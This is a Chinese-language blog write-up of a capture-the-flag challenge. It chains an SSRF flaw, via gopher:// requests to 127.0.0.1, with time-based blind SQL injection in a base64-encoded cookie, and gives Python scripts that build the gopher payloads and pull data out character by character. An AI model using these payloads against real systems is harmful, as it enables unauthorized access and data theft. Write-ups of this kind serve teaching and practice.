Gopher协议与题目:very_easy_sql

题目:

图片[1]-Gopher协议与题目:very_easy_sql-Drton1博客

尝试一番弱口令试了试无果,F12看源码 发现use.php

图片[2]-Gopher协议与题目:very_easy_sql-Drton1博客

于是尝试访问,发现存在未授权漏洞,直接可以访问。

图片[3]-Gopher协议与题目:very_easy_sql-Drton1博客

这里看到这个 想到SSRF,于是试了试:

图片[4]-Gopher协议与题目:very_easy_sql-Drton1博客

访问了一下本地 可以看到他确实请求了 本地 存在SSRF漏洞。这里要介绍一下Gopher协议

gopher协议是一种信息查找系统,他将Internet上的文件组织成某种索引,方便用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。利用此协议可以攻击内网的 Redis、Mysql、FastCGI、Ftp等等,也可以发送 GET、POST 请求。这拓宽了 SSRF 的攻击面。

gopher协议格式:gopher://IP:port/_{TCP/IP数据流}

实验:给本地1234端口用gopher发送数据 ,本地监听,成功监听到

图片[5]-Gopher协议与题目:very_easy_sql-Drton1博客
图片[6]-Gopher协议与题目:very_easy_sql-Drton1博客

如果目标开放的80端口 采用http 那么我们对他进行gopher请求 他会把返回包给我们。也有返回的页面源代码。

图片[7]-Gopher协议与题目:very_easy_sql-Drton1博客

发送GET请求和POST请求

GTE请求:

构造HTTP数据包

URL编码、替换回车换行为%0d%0a,HTTP包最后加%0d%0a代表消息结束

发送gopher协议, 协议后的IP一定要接端口.

POST请求:

POST与GET传参的区别:它有4个参数为必要参数

需要传递Content-Type,Content-Length,host,post的参数

切记:Content-Length和POST的参数长度必须一致

那么我们可以利用python去实现这个格式的转化:

图片[8]-Gopher协议与题目:very_easy_sql-Drton1博客

这里用bp抓一下百度的包,然后用python

图片[9]-Gopher协议与题目:very_easy_sql-Drton1博客

就生成了我们要的gopher格式的请求。

POST / HTTP/1.1
Host: 61.147.171.105:53867
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: [<http://61.147.171.105:53867>](<http://61.147.171.105:53867/>)
Connection: close
Referer: [<http://61.147.171.105:53867/>](<http://61.147.171.105:53867/>)
Cookie: PHPSESSID=v3sn62202damn6sj15nrvdcfl4
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

uname=admin&passwd=admin

我们在首页输入admin admin 抓个包 上面刚才也说了 POST 请求 必要四个参数 我们直接拿这四个参数

这里host是本地ip 因为是利用ssrf 让他自己请求自己。

import urllib.parse

host = "127.0.0.1:80"
content = "uname=admin&passwd=admin"
content_length = len(content)

test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: curl/7.43.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}

{}
""".format(host,content_length,content)

tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)
图片[10]-Gopher协议与题目:very_easy_sql-Drton1博客

拿到这个格式了。

图片[11]-Gopher协议与题目:very_easy_sql-Drton1博客

我们这时是 以让服务器自己去请求自己 然后把那个返回包返回给我们,所以我们可以看到返回包中有this is your Cookie这个参数 这个就是服务器自己的cookie ,后面那串加密值 一看就是base64 我们进行解密查看:

图片[12]-Gopher协议与题目:very_easy_sql-Drton1博客

admin 更加证明我的猜想 这就是服务器自己的cookie

那么这个cookie 是不是可能存在注入呢,因为cookie的查询是要代入数据库中然后给相应的权限的,如果我们更改cookie的参数 里面放入注入语句

会不会构成sql注入?

图片[13]-Gopher协议与题目:very_easy_sql-Drton1博客

我们把我们构造好的语句进行加密,然后再传。 一个if 语句 如果成功执行该语句 他的返回包会停顿10s,这也就是盲注 ,时间设置大点可以帮助我们辨别这个语句到底执行成功了没。

图片[14]-Gopher协议与题目:very_easy_sql-Drton1博客

用bp进行发送 发现都是秒回

图片[15]-Gopher协议与题目:very_easy_sql-Drton1博客

说明语句并没有被执行,可能我们构造的语句没用完成闭合

在我多次实验:最终发现 闭合成功的语句是:admin’) and if(1,sleep(10),1)#

再次base64加密然后python生成格式,再次用bp发包:

图片[16]-Gopher协议与题目:very_easy_sql-Drton1博客

这次等了很久 右下角也显示我们是响应包响应用了10s 说明我们找对了闭合方式,接下来就是构造攻击语句了。

对于时间盲注的攻击思路是这样的:

  因为数据库里面所有的名称 保存的数据 都是英文 +数字   

   所以假如一个数据库名称为 ABC      我们进行攻击  发送sql语句 如果 数据库名称第一位为A 就延时2秒  如果不是就不延时 然后我们再进行 时间检测 如果是2S 就直接输出A 然后去测名字的下一位 ,如果不是就把A变成B 继续攻击 以此类推    最终我们就能得到完整的数据库名称 ABC

我们可以编写脚本替我们去完成这些繁琐的操作。

先利用’) order by 2 if(1=1,sleep(5),1) # 去得出 数据库的字段

import urllib.parse
import requests
import time
import base64
url="<http://61.147.171.105:59753/use.php?url=>"
flag=""
for pos in range(1,50):
    for i in range(33,127):
        #poc="') union select 1,2,if(1=1,sleep(5),1) # "
 
        #security
        #poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
 
        #flag
        #poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        poc="') union select 1,2,if(ascii( substr((select * from flag),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "
        
        bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")
        final_poc="gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D"+bs+"%3B%250d%250a"
        t1=time.time()
        res=requests.get(url+final_poc)
        t2=time.time()
        if(t2-t1>2):
            flag+=chr(i)
            print(flag)
            break
print(flag)

剩下的思路就是我刚才说的盲注思路了 这里为了表达方便 写的是ascii码

先拿数据库:

图片[17]-Gopher协议与题目:very_easy_sql-Drton1博客

再爆表名:

图片[18]-Gopher协议与题目:very_easy_sql-Drton1博客

可以看到以及爆出flag这个表名了 接下来就简单了 直接读取这个flag表即可;

于是直接读取:

图片[19]-Gopher协议与题目:very_easy_sql-Drton1博客

爆出flag,此题结束。

这里也解释一下为什么刚才我们测试的时候 用的是POST提交去发现cookie 而测试漏洞用的是GET 因为我们测试时候用POST

很简单 如果你的电脑登录过这个页面 ,你电脑是有一个cookie的 下次你再登录的话就是免密登录,我们去发现Cookie就是因为那个服务器登录过这个页面我们用Post的方式去请求 这样服务器才会返回给你的cookie。 而测试时候我们就要自定义这个cookie去了,不需要自带的那个admin的cookie 所以我们用Get方式去测试。

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论